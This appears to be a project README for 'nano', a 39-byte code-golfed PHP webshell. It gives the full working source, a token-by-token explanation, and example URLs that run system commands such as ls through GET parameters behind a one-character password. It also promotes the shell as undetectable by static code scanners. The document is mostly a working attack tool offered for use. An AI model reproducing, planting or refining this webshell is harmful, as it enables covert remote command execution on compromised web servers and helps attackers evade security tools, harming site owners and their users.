nano is a PHP webshell which is code golfed to be extremely stealthy.
Put it on watch maybe, I am planning to upload some variantions of it really soon.

http://example.com/nano.php?f=function&c=command&p=password

f is for function
c is for command
p is for password

For example, the code below will execute the ls command:

http://example.com/nano.php?f=system&c=ls&p=password

• 39 bytes in size (nodistribute.com said its an empty file lmao)
• Fully undetectable by security solutions that scan static code
• Supports password protection
• Fully flexible & efficient if you know stuff

<?$x=$_GET;($x[p]=='_'?$x[f]($x[c]):y);

Yep, that's the source code and I know that looks kind of puzzling but let me explain it.

• <? a valid replacement for <?php

• $x=$_GET; defines a variable x which holds the value $_GET so we can use just $x instead of $_GET to save space.

• (condition ? code : code ) is a shorthand for if (condition){code}else{code}. You can read more about it here.

• $x[p]=='_' this is the condition which is mentioned in the previous part. It checks if the value of parameter p is equal to '_'. Yep, _ is the password.

• If the password matches, the code $x[f]($x[c]) is executed. As you guys know, PHP's syntax for executing functions is function(argument), I kept both function and arugment variables so you can specify them through a GET request.

• The y does nothing here, I just had to add it to maintain the syntax.

• Why didn't I end it with a ?>? Because we don't need to.

This is my first php thingy so if there's way to do what I did in a better way please let me know or open a pull request.
This 39 characters of code is licensed under MIT license which basically means you have to give me credit if you want to redistribute or modify it.